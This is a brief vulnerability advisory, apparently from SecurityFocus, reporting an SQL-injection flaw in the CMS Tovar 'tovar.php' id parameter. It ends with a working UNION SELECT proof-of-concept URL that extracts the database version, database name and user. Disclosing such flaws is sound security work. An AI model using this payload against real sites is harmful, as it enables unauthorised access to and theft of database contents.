source: http://www.securityfocus.com/bid/45772/info

CMS Tovar is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/tovar.php?id=-294+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user())josalijoe,6,7,8,9--